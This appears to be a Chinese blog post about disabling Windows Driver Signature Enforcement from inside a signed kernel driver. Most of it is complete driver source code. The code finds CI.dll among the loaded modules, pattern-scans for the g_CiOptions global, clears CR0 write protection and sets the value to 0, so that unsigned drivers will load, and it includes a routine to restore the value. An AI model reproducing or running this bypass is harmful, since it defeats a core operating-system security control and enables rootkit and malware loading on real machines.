内核过DSE驱动签名验证.
一丶简介
现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.
原理:
原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.
全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.
二丶逆向CI.dll寻找Path位置.
既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.
结果
虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.
一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名
代码:
#include "Driver.h"
#include <wdm.h>
//KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
}
LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
}
typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;
BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
}
//核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
}
isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
}
if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
}
}
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索数据失败!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress：%p\n", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址：%p 初始化值数据：%08X\n", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
DbgPrint("地址：%p 修改数据为：%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索数据失败！\n");
return FALSE;
}
}
void EnbalDse() //开启DSE保护
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad;
Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
//EnbalDse(); //关闭DSE
}
return STATUS_SUCCESS;
}
ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。
作者：IBinary
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